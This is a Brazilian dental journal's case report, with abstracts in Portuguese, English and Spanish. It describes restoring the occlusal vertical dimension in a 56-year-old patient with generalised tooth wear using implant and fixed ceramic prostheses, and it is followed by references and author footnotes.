				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=259729</guid>

					<description><![CDATA[TOTAL REHABILITATION IN A PATIENT REQUIRING INCREASE OF VERTICAL DIMENSION OCCLUSION: PROSTHETIC APPROACHES AND RESULTS: CASE REPORT REHABILITACIÓN TOTAL EN PACIENTE CON NECESIDAD DE AUMENTO DE LA DIMENSIÓN VERTICAL: ENFOQUES PROTÉSICOS Y RESULTADO – REPORTE DE CASO CLÍNICO REGISTRO DOI: 10.69849/revistaft/cl10202512161027 Sara Julia Derossi Klein1Victor Miguel Gonçalves Silva2Eduarda Leticia Pagliosa3Afonso Elias Lermen4Laura Kiraly Robles5Marlon Rosin6Gabriela [&#8230;]]]></description>
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<p class="wp-block-paragraph">TOTAL REHABILITATION IN A PATIENT REQUIRING INCREASE OF VERTICAL DIMENSION OCCLUSION: PROSTHETIC APPROACHES AND RESULTS: CASE REPORT</p>



<p class="wp-block-paragraph">REHABILITACIÓN TOTAL EN PACIENTE CON NECESIDAD DE AUMENTO DE LA DIMENSIÓN VERTICAL: ENFOQUES PROTÉSICOS Y RESULTADO – REPORTE DE CASO CLÍNICO</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512161027</p>



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<p class="has-text-align-right wp-block-paragraph">Sara Julia Derossi Klein<sup>1</sup><br>Victor Miguel Gonçalves Silva<sup>2</sup><br>Eduarda Leticia Pagliosa<sup>3</sup><br>Afonso Elias Lermen<sup>4</sup><br>Laura Kiraly Robles<sup>5</sup><br>Marlon Rosin<sup>6</sup><br>Gabriela Tamagno<sup>7</sup><br>Júlia Calvo Nunes<sup>8</sup><br>Leonardo José de Medeiros Piva<sup>9</sup><br>Fabiana Scarparo Naufel<sup>10</sup><br>Rolando Plümer Pezzini<sup>11</sup></p>



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<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">O desgaste dentário é um fator inerente ao envelhecimento bucal caracterizado pela perda gradual da estrutura dental por fatores físicos e químicos. Contudo, quando o desgaste dental ultrapassa os limites fisiológicos pode ocasionar a redução da Dimensão Vertical de Oclusão (DVO). A DVO é um parâmetro fundamental para a avaliação do equilíbrio do sistema estomatognático, e está diretamente relacionada à estabilidade da oclusão, e sua redução está associada a desordens musculares e comprometimento estético. A redução da DVO pode demandar reabilitações complexas, e sua determinação é um desafio clínico, porém imprescindível para garantir a longevidade dos tratamentos restauradores e protéticos. O presente artigo tem como objetivo relatar o planejamento e fluxo de trabalho para o restabelecimento da DVO em pacientes com desgaste dentário generalizado. Metodologia: O presente estudo trata de um relato de caso clínico de cunho analítico descritivo, realizado na clínica de Reabilitação Oral da Universidade Estadual do Oeste do Paraná na cidade de Cascavel/PR. Relato de caso: Paciente do gênero masculino, 56 anos, leucoderma, relatava como grande insatisfação a estética dos dentes. O paciente apresentava desgaste generalizado, diversas restaurações e próteses sobre implantes insatisfatórios, além de alteração na DVO. A reabilitação oral definitiva foi realizada através de próteses fixas sobre implantes e diferentes estratégias de próteses fixas sobre os dentes remanescentes. Considerações finais: o presente caso relata diferentes abordagens protéticas para o restabelecimento da DVO de forma previsível e fisiológica.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Reabilitação bucal; Dimensão vertical; Prótese dentária.</p>



<p class="wp-block-paragraph"><strong>Abstract&nbsp;</strong></p>



<p class="wp-block-paragraph">Dental wear is an inherent factor in oral aging, characterized by the gradual loss of dental structure due to physical and chemical factors. However, when dental wear exceeds physiological limits, it may lead to a reduction in Occlusion Vertical Dimension (OVD). OVD is a fundamental parameter for assessing the balance of the stomatognathic system, directly related to occlusal stability, with its reduction associated with muscular disorders and aesthetic impairment. The decrease in OVD often necessitates complex rehabilitations, and its determination remains a clinical challenge, yet it is essential for ensuring the longevity of restorative and prosthetic treatments. Objective: This article aims to report the planning and workflow for reestablishing OVD in a patient with generalized dental wear. Methodology: This study is a descriptive analytical case report conducted at the Oral Rehabilitation Clinic of the State University of Western Paraná, in Cascavel, Paraná, Brazil. Case Report: A 56-year-old male patient with fair skin presented with significant aesthetic dissatisfaction. Clinical examination revealed generalized dental wear, multiple restorations, unsatisfactory implant-supported prostheses, and altered OVD. The definitive oral rehabilitation was performed using implant-supported fixed prostheses and various fixed prosthetic strategies for the remaining teeth. Conclusion: This case report illustrates different prosthetic approaches for the predictable and physiological restoration of OVD.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Mouth rehabilitation; Occlusal vertical;Dental Prosthesis.</p>



<p class="wp-block-paragraph"><strong>Resumen&nbsp;</strong></p>



<p class="wp-block-paragraph">El desgaste dental es un factor inherente al envejecimiento bucal, caracterizado por la pérdida gradual de la estructura dental debido a factores físicos y químicos. Sin embargo, cuando este desgaste supera los límites fisiológicos, puede provocar una reducción de la Dimensión Vertical de Oclusión (DVO). La DVO es un parámetro fundamental para evaluar el equilibrio del sistema estomatognático, estando directamente relacionada con la estabilidad oclusal; su disminución se asocia con trastornos musculares y compromiso estético. La reducción de la DVO puede requerir rehabilitaciones complejas, y su determinación representa un desafío clínico, pero es esencial para garantizar la longevidad de los tratamientos restauradores y protésicos. Este artículo tiene como objetivo describir la planificación y el flujo de trabajo para el restablecimiento de la DVO en un paciente con desgaste dental generalizado. Metodología: Se trata de un estudio basado en un informe de caso clínico de carácter analítico-descriptivo, realizado en la Clínica de Rehabilitación Oral de la Universidad Estatal del Oeste de Paraná, en la ciudad de Cascavel/PR. Informe de caso: Paciente de sexo masculino, 56 años, leucodermo, cuya principal queja era una gran insatisfacción estética. Presentaba desgaste dental generalizado, múltiples restauraciones y prótesis sobre implantes insatisfactorias, además de una alteración en la DVO. La rehabilitación oral definitiva se llevó a cabo mediante prótesis fijas sobre implantes y diferentes estrategias de prótesis fijas sobre los dientes remanentes. Consideraciones finales: Este caso clínico presenta distintas estrategias protésicas para el restablecimiento de la DVO de manera predecible y fisiológica.</p>



<p class="wp-block-paragraph"><strong>Palabras clave:</strong> Rehabilitación bucal; Dimensión vertical; Prótesis Dental.</p>



<p class="wp-block-paragraph"><strong>1. Introdução&nbsp;</strong></p>



<p class="wp-block-paragraph">A saúde bucal está diretamente relacionada à correta posição dos elementos dentários e ao equilíbrio entre essas estruturas e o complexo muscular esquelético. Esse equilíbrio constitui a base para a realização de tratamentos restauradores protéticos, fatores essenciais para a obtenção de uma oclusão estável e funcional (LeSagge, 2020; Guerreiro, 2022). O estabelecimento de um padrão oclusal adequado é fundamental no planejamento e na execução da reabilitação oral, visto que alterações na Dimensão Vertical de Oclusão (DVO) podem impactar negativamente a função mastigatória, estética e a saúde do sistema estomatognático (Discatiacci, 2013; Abreu,2023). A DVO é definida como a distância entre dois pontos dos arcos dentários quando os dentes estão em máxima intercuspidação, (Discatiacci, 2013) a redução dessa medida pode levar a desordens oclusais e disfunções musculares (The Glossary of Prosthodontic Terms).</p>



<p class="wp-block-paragraph">A redução da DVO pode ocorrer pelo desgaste dentário, um processo fisiológico inerente ao envelhecimento caracterizado pela perda gradual da estrutura dental ao longo da vida, no entanto, esse fenômeno pode ser exacerbado por fatores intrínsecos e extrínsecos, incluindo hábitos parafuncionais, forças mecânicas inadequadas, atrição, abfração e erosão química (Abreu,2023; Almeida, 2019). A progressão desse desgaste pode comprometer a viabilidade dos dentes, levando à necessidade de intervenções restauradoras cada vez mais complexas e repetitivas (Carvalho, 2022). Pacientes com desgaste severo muitas vezes apresentam uma redução no espaço interoclusal, tornando necessária o restabelecimento da DVO fisiológica para sucesso da reabilitação protética (Lee, 2021).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O presente artigo tem como objetivo relatar o planejamento e fluxo de trabalho para o restabelecimento da DVO em pacientes com desgaste dentário generalizado.</p>



<p class="wp-block-paragraph"><strong>2. Metodologia&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente relato de caso clínico (Toassi &amp; Petry, 2021) foi submetido e aprovado ao Comitê de Ética em Pesquisa da Universidade Estadual do Oeste do Paraná, obtendo o certificado de Apresentação de Apreciação Ética (CAAE).</p>



<p class="wp-block-paragraph"><strong>3. Relato de caso&nbsp;</strong></p>



<p class="wp-block-paragraph">Paciente do gênero masculino, 56 anos de idade, queixou-se da estética da arcada superior e inferior que apresentavam desgaste dentário generalizado. A condição extraoral evidenciava aprofundamento dos sulcos nasogenianos e leve projeção do mento (Figura 1).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1 &#8211; </strong>condição inicial extraoral.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="537" height="297" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1177.png" alt="" class="wp-image-259735" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1177.png 537w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1177-300x166.png 300w" sizes="(max-width: 537px) 100vw, 537px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores.</p>



<p class="wp-block-paragraph">Na avaliação intraoral se observou restaurações insatisfatórias, desgastes incisais generalizados, abfrações, presença de implantes com coroas insatisfatórias nas regiões de 15, 14, 13, 22, 24, 25, 26, 27, coroa total confeccionada em metalo-cerâmica no dente 45 e ausência do dente 36, conforme ilustrado na Figura 2.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2 &#8211; </strong>condição inicial intraoral.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="603" height="165" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1178.png" alt="" class="wp-image-259737" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1178.png 603w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1178-300x82.png 300w" sizes="(max-width: 603px) 100vw, 603px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores.</p>



<p class="wp-block-paragraph">O tratamento reabilitador teve início com a remoção de cárie dentária e substituição de todas as restaurações insatisfatórias. Após as trocas os arcos foram moldados com hidrocolóide irreversível (Jeltrate Plus; Dentsply, Pirassununga, SP) para confecção dos modelos de estudo em gesso (Tipo IV; PolidentaL, SP). Para o planejamento inicial foi proposto a articulação dos modelos em ASA (4000-S; Bio-Art, São Carlos, SP), dessa forma é possível transferir a relação maxilo-mandibular do paciente mimetizando os movimentos mandibulares observados clinicamente. A montagem do articulador foi realizada na altura da DVO pretendida, baseando-se no método das proporções faciais, através de medições com compasso de Willis. Para isso, foram adicionadas Lâminas de Long entre os dentes anteriores, posicionando-as uma a uma até propiciar uma altura de DVO adequada. Realizada a montagem do ASA, esse foi enviado ao laboratório para enceramento diagnóstico.&nbsp;</p>



<p class="wp-block-paragraph">Após o recebimento do enceramento diagnóstico, o ensaio clínico foi realizado utilizando uma barreira de silicone (mock-up) levada em boca carregada com resina bisacrílica (Primma Art; FGM, SP/Brasil), o que permitiu uma visualização do planejamento. Foram realizados ajustes para obtenção do equilíbrio da oclusão e melhorar a adaptação da nova DVO. O paciente foi elucidado sobre as alterações no sistema estomatognático durante a etapa, e suas possíveis dificuldades fonéticas e mastigatórias, necessitando de tempo para adaptação do organismo. A etapa provisória se manteve por 30 dias, até o paciente relatar conforto com a DVO restabelecida.&nbsp;</p>



<p class="wp-block-paragraph">Após o fim da etapa provisória, foi iniciada a realização dos preparos. Foram realizados os preparos no arco superior, coroa total nos dentes 17 e 16, e preparos de facetas nos dentes 11, 21 e 23 (Figura 3).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3 –</strong> Preparos superiores</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="350" height="178" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1179.png" alt="" class="wp-image-259740" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1179.png 350w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1179-300x153.png 300w" sizes="(max-width: 350px) 100vw, 350px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">As próteses sobre implantes das regiões dos dentes 12, 13, 14 e 15, 22, 24, 25 e 26&nbsp; foram removidas através de cortes nas peças protéticas com brocas em alta rotação e utilizando um saca-prótese pneumático (Figura 4).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 4 –</strong> Remoção de Próteses sobre implantes superiores com auxílio de saca-prótese pneumático.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="261" height="179" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1180.png" alt="" class="wp-image-259741"/></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">&nbsp;Com auxílio do fio retrator (Ultrapac, Ultradent, Utah, EUA) e Scan boddies devidamente posicionados, os preparos e os implantes foram escaneados para realização das peças cerâmicas, como ilustrado na Figura 5.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 5 –</strong> Preparos e Scan Bodies posicionados para escaneamento</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="522" height="196" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1181.png" alt="" class="wp-image-259744" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1181.png 522w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1181-300x113.png 300w" sizes="(max-width: 522px) 100vw, 522px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">A arcada inferior também foi escaneada para referência oclusal entre os arcos. Os documentos em formato de STG (Figura 6) foram enviados ao laboratório juntamente ao planejamento analógico realizado anteriormente.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 6 –</strong> Escaneamento superior</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="371" height="536" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1182.png" alt="" class="wp-image-259745" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1182.png 371w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1182-208x300.png 208w" sizes="(max-width: 371px) 100vw, 371px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">Solicitou-se então ao laboratório a confecção dos laminados cerâmicos e vonlays em dissilicato de Lítio, e as coroas totais e próteses sobre implantes em Zircônia, todos na cor A1 (Escala Vitta) com estratificação cervical na cor A2.</p>



<p class="wp-block-paragraph">As peças foram provadas em boca para verificação da adaptação, após finalizar a conferência, as próteses sobre implantes das regiões correspondentes aos dentes 12 ao 15 e 22 foram cimentadas com adesivo (OptiBond FL, Kerr, Orange, Canadá, EUA) e cimento resinoso dual (Cimento Variolink Esthetic DC, Ivoclar, Barueri, SP) sobre os munhões personalizados, e na região dos dentes 24, 25 e 26 foi realizada uma prótese de 3 elementos parafusada sobre os implantes. As coroas totais dos dentes 16 e 17 seguiram mesmo protocolo de cimentação das próteses sobre implantes cimentadas e as facetas dos dentes 11, 21 e 23 foram cimentadas utilizando adesivo (OptiBond FL, Kerr, Orange, Canadá, EUA) e cimento resinoso fotopolimerizável (Cimento Variolink Esthetic LC, Ivoclar, Barueri, SP) (Figura 8).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 8 –</strong> Peças superiores finalizadas</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="491" height="190" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1183.png" alt="" class="wp-image-259747" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1183.png 491w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1183-300x116.png 300w" sizes="(max-width: 491px) 100vw, 491px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">Com a arcada superior finalizada, iniciamos o processo dos preparos na arcada inferior. Foi necessário a remoção da coroa metalo-cerâmica insatisfatória no dente 45. Foram feitos preparos para coroa total nos dentes 37, 35, 45 e 47, preparo para vonlay nos dentes 34, 44 e 46, e facetas nos dentes, 33, 32, 32, 41, 42 e 43. Os preparos foram escaneados e enviados ao laboratório em documento STG para confecção das peças (Figura 9).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 9 –</strong> Preparos superiores</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="200" height="439" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1184.png" alt="" class="wp-image-259748" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1184.png 200w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1184-137x300.png 137w" sizes="(max-width: 200px) 100vw, 200px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">Após o recebimento das peças inferiores, as coroas totais dos dentes 45 e 47, as vonlays dos dentes 34, 44 e 45, e prótese fixa de 3 elementos dos dentes 35 e 37 com pôntico correspondente ao dente 36 foram cimentadas com adesivo OptiBond FL, Kerr, Orange, Canadá, EUA) e cimento resinoso dual (Cimento Variolink Esthetic DC, Ivoclar, Barueri, SP). As facetas dos dentes, 33, 32, 32, 41, 42 e 43 foram cimentadas com adesivo (OptiBond FL, Kerr, Orange, Canadá, EUA) e cimento resinoso fotopolimerizável (Cimento Variolink Esthetic LC, Ivoclar, Barueri, SP) (Figura 10).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 10 –</strong> Peças inferiores</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="668" height="160" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1185.png" alt="" class="wp-image-259750" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1185.png 668w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1185-300x72.png 300w" sizes="(max-width: 668px) 100vw, 668px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">Após a instalação das peças protéticas podemos notar uma melhora na estética extra-bucal devido ao aumento da DVO (Figura 11).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 11 –</strong> Condição final extraoral</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="380" height="533" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1186.png" alt="" class="wp-image-259751" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1186.png 380w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1186-214x300.png 214w" sizes="(max-width: 380px) 100vw, 380px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">No resultado intra-bucal, observamos a melhora estética e uma oclusão restabelecida (Figura 12).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 12 –</strong> Condição final intrabucal</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="379" height="605" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1187.png" alt="" class="wp-image-259752" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1187.png 379w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1187-188x300.png 188w" sizes="(max-width: 379px) 100vw, 379px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Arquivo dos autores</p>



<p class="wp-block-paragraph">Paciente recebeu acompanhamento e relatou sintomatologia dolorosa na região do músculo temporal, sintomatologia essa cessada após sessões de ajustes oclusais, permitindo assim a conclusão do caso.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4. Discussão&nbsp;</strong></p>



<p class="wp-block-paragraph">O desgaste das estruturas dentais ocorre devido a condições fisiológicas e patológicas, a redução da superfície dentária possui limites considerados fisiológicos, sendo de aproximadamente 29 µm em molares e 15 µm em pré-molares, considerando a superfície oclusal, no entanto, fatores intrínsecos e extrínsecos podem intensificar essa perda (Loomans et al. 2017). A atrição, por exemplo, resultante do contato friccional entre os dentes, gera um desgaste fisiológico que, quando excede os padrões de normalidade pode estar associado a hábitos parafuncionais, como má oclusão ou bruxismo (Abreu, 2023; Almeida 2019).</p>



<p class="wp-block-paragraph">Independente da causa, as perdas estruturais estão comumente ligadas a diminuição da DVO, no caso relatado o desgaste dentário generalizado ocasionou essa alteração. A DVO é um importante parâmetro estético-funcional da face, correspondente à distância entre dois pontos anatômicos quando os dentes estão em máxima intercuspidação (Abreu, 2023). A redução da DVO pode ter como consequência disfunções temporomandibulares (DTM), hiperatividade e dores musculares, comprometimento da fonética e estética facial, o que pode levar a uma maior carga oclusal e ao insucesso de restaurações. (Abreu,2023; Carvalho, 2022).</p>



<p class="wp-block-paragraph">A análise facial para avaliar a redução da DVO pode ser realizada por meio de fotografias, medições digitais, vídeos e imagens 3D, pois com a diminuição da altura cérvico-oclusal dos dentes, pode-se observar os impactos pela morfologia extraoral (Carvalho 2022, Abreu, 2023). O restabelecimento da DVO fisiológica adequada é um grande desafio dentro da reabilitação oral, pois não há consenso na literatura sobre o método mais indicado, assim o tratamento deve ser conduzido integrando diferentes técnicas de planejamento e abordagens personalizadas para garantir um resultado funcional e estético satisfatório (Lesage, 2020).&nbsp;</p>



<p class="wp-block-paragraph">Diante desses desafios, os avanços tecnológicos, como o fluxo digital, têm se mostrado aliado nas reabilitações orais mais complexas. No presente artigo, após o planejamento da DVO adequada, foi realizada a captura dos preparos e a posição dos implantes pelo escaneamento digital, visando o uso do sistema CAD/CAM. A utilização do fluxo digital evita as etapas de moldagem da maneira convencional, dessa forma reduz potenciais fontes de erro durante o processo, incluindo distorções do material, dificuldades na desinfecção e variações durante transporte do molde (Boucher, 2004; Sotomayor, 2021). O fluxo digital também oferece maior praticidade, precisão e estabilidade dimensional a longo prazo, tornando a abordagem eficiente e com excelentes resultados. (Sotomayor, et al. 2020; Abreu, 2023).</p>



<p class="wp-block-paragraph">Em relação a escolha do material reabilitador, a reabilitação de pacientes com DVO reduzida por meio de overlays em cerâmica vítrea de dissilicato de lítio e facetas cerâmicas mostrou resultados positivos, sem fraturas do material ou disfunções temporomandibulares (Ting, 2017). Além disso, pesquisas com próteses de zircônia em pacientes geriátricos bruxistas evidenciaram uma taxa de sucesso de 100%, com pequenas complicações facilmente manejáveis, reforçando a sua alta taxa de sobrevivência (Guerreiro, 2022). Dessa forma, a determinação de uma DVO fisiológica deve ser considerada um procedimento essencial em reabilitações dentárias totais, uma vez que há fortes evidências de que o sistema estomatognático possui capacidade adaptativa a essa alteração.</p>



<p class="wp-block-paragraph"><strong>5. Considerações Finais&nbsp;</strong></p>



<p class="wp-block-paragraph">O relato evidenciou a relevância do restabelecimento da DVO em pacientes com desgaste oclusal generalizado. O caso demonstra a sequência clínica em que foi exigida diferentes abordagens protéticas, sugerindo uma alternativa reabilitadora quando há elementos dentários com necessidades restauradoras diversas. Dessa forma, corrobora-se para visualização de casos cotidianos de redução da DVO, contribuindo para uma melhor abordagem na reabilitação oral de pacientes com desgastes dentários, restabelecendo o sistema estomatognático de forma total, devolvendo saúde, estética e qualidade de vida. Trabalhos futuros que demonstrem uma reabilitação completa em fluxo digital em casos de arcadas com comprometimento dental generalizado são altamente desejados.</p>



<p class="wp-block-paragraph"><strong>Referências&nbsp;</strong></p>



<p class="wp-block-paragraph">Abreu, B. (2023). Tecnologia CAD/CAM no tratamento da Dimensão vertical de oclusão reduzida por desgaste dentário.&nbsp;<em>Cespu.pt</em>. <a href="http://hdl.handle.net/20.500.11816/4302">http://hdl.handle.net/20.500.11816/4302</a>;</p>



<p class="wp-block-paragraph">Almeida, K. T. R. da S., Almeida, G. M. de, &amp; Almeida Junior, J. C. de. (2019). Recuperação da Dimensão Vertical de Oclusão por Meio de Laminados Cerâmicos Minimamente Invasivos.&nbsp;<em>REVISTA FAIPE,</em> 9(2), 1-6. Recuperado de https://portal.periodicos.faipe.edu.br:443/ojs/index.php/rfaipe/article/view/148;</p>



<p class="wp-block-paragraph">Boucher, C. O. (1975). Complete denture prosthodontics—The state of the art.&nbsp;<em>The Journal of Prosthetic Dentistry</em>,&nbsp;<em>34</em>(4), 372–383. <a href="https://doi.org/10.1016/0022-3913(75)90151-1">https://doi.org/10.1016/0022-3913(75)90151-1</a>;</p>



<p class="wp-block-paragraph">Carvalho, C. A .F. &nbsp;<em>Correção da Dimensão Vertical de Oclusão em pacientes com desgaste dentário</em>. Retrieved February 25, 2025, from https://repositorio.cespu.pt/bitstream/handle/20.500.11816/3918/MIMD_DISSERT_25114_Carlos%20de%20Carvalho.pdf?sequence=1;</p>



<p class="wp-block-paragraph">Discacciati, J. A. C., de Souza, E. L., Costa, S. C., de Magalhães Barros, V., &amp; Vasconcellos, W. A. (2013). Increased Vertical Dimension of Occlusion: Signs, Symptoms, Diagnosis, Treatment and Options.&nbsp;<em>The Journal of Contemporary Dental Practice</em>,&nbsp;<em>14</em>(1), 123–128. <a href="https://doi.org/10.5005/jp-journals-10024-1284">https://doi.org/10.5005/jp-journals-10024-1284</a>;</p>



<p class="wp-block-paragraph">Guerreiro, M. de S., Silva, S. S. da, Mendonça, L. F. A., Silva, L. F. C. da, Lima, M. S. S. de, Meira, G. de F., &amp; Lima, T. M. de. (2022). Tratamentos para a recuperação da dimensão vertical de oclusão – revisão de literatura: Treatments for the recovery of the vertical dimension of occlusion – literature review.&nbsp;<em>Brazilian Journal of Development</em>,&nbsp;<em>8</em>(10), 65864–65876. https://doi.org/10.34117/bjdv8n10-070;</p>



<p class="wp-block-paragraph">Lee, H.-J., Shim, J.-S., Moon, H.-S., &amp; Kim, J.-E. (2021). Alteration of the Occlusal Vertical Dimension for Prosthetic Restoration Using a Target Tracking System.&nbsp;<em>Applied Sciences</em>,&nbsp;<em>11</em>(13), 6196. https://doi.org/10.3390/app11136196;</p>



<p class="wp-block-paragraph">LeSage, B. P. (2019). CAD/CAM: Applications for transitional bonding to restore occlusal vertical dimension.&nbsp;<em>Journal of Esthetic and Restorative Dentistry</em>. https://doi.org/10.1111/jerd.12554;</p>



<p class="wp-block-paragraph">Loomans, B., Opdam, N., Attin, T., Bartlett, D., Edelhoff, D., Frankenberger, R., Benic, G., Ramseyer, S., Wetselaar, P., Sterenborg, B., Hickel, R., Pallesen, U., Mehta, S., Banerji, S., Lussi, A., &amp; Wilson, N. (2017). Severe Tooth Wear: European Consensus Statement  on Management Guidelines.&nbsp;<em>The Journal of Adhesive Dentistry</em>,&nbsp;<em>19</em>(2), 111–119. <a href="https://doi.org/10.3290/j.jad.a38102">https://doi.org/10.3290/j.jad.a38102</a>;</p>



<p class="wp-block-paragraph">Silva, V. M. G., Bisinella, E. A. P., Santos Neto, O. M. dos, Micharki, A. L., Pezzini, R. P., Naufel, F. S., &amp; Klein, S. J. D. (2024). Restabelecimento da dimensão vertical de oclusão em paciente com colapso oclusal – Relato de caso clínico.&nbsp;<em>Research, Society and Development</em>,&nbsp;<em>13</em>(12), e196131246701. https://doi.org/10.33448/rsd-v13i12.46701;</p>



<p class="wp-block-paragraph">Sotomayor, P., Ordóñez, P., &amp; Ortega, G. (2020). Accuracy of Intraoral Digital Impression Systems in Restorative Dentistry: A Review of the Literature.&nbsp;<em>Odovtos &#8211; International Journal of Dental Sciences</em>, 205–216. <a href="https://doi.org/10.15517/ijds.2020.41442">https://doi.org/10.15517/ijds.2020.41442</a>;</p>



<p class="has-text-align-left wp-block-paragraph">The Glossary of Prosthodontic Terms. (2017).&nbsp;<em>The Journal of Prosthetic Dentistry</em>,&nbsp;<em>117</em>(5), C1-e105. <a href="https://doi.org/10.1016/j.prosdent.2016.12.001">https://doi.org/10.1016/j.prosdent.2016.12.001</a>.</p>



<p class="has-text-align-left wp-block-paragraph">Ting, J., Shuhui, H., Hongqiang, Y., &amp; Lu, J. (2017). CAD/CAM Ceramic Overlays to Restore Reduced Vertical Dimension of Occlusion Resulting from Worn Dentitions: A Case History Report.&nbsp;<em>The International Journal of Prosthodontics</em>,&nbsp;<em>30</em>(3), 238–241. <a href="https://doi.org/10.11607/ijp.5146">https://doi.org/10.11607/ijp.5146</a>.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>(ORCID: <a href="https://orcid.org/0009-0001-6914-1835">https://orcid.org/0009-0001-6914-1835</a>) Universidade Estadual do Oeste do Paraná, Brasil. E-mail: <a href="mailto:sarajuliaklein@gmail.com">sarajuliaklein@gmail.com</a><br><sup>2</sup>(ORCID: <a href="https://orcid.org/0000-0002-5467-070X">https://orcid.org/0000-0002-5467-070X</a>) Universidade Estadual do Oeste do Paraná, Brasil. E-mail: victor.miguell@hotmail.com<br><sup>3</sup>(ORCID: <a href="https://orcid.org/0000-0002-3160-7062">https://orcid.org/0000-0002-3160-7062</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>4</sup>(ORCID: <a href="https://orcid.org/0009-0004-9908-0449">https://orcid.org/0009-0004-9908-0449</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>5</sup>(ORCID: <a href="https://orcid.org/0009-0008-1823-2228">https://orcid.org/0009-0008-1823-2228</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>6</sup>(ORCID: <a href="https://orcid.org/0000-0003-2430-9347">https://orcid.org/0000-0003-2430-9347</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>7</sup>(ORCID: <a href="https://orcid.org/0000-0003-2351-1463">https://orcid.org/0000-0003-2351-1463</a>) Universidade Estadual do Oeste do Paraná, Brasil<br><sup>8</sup>(ORCID: <a 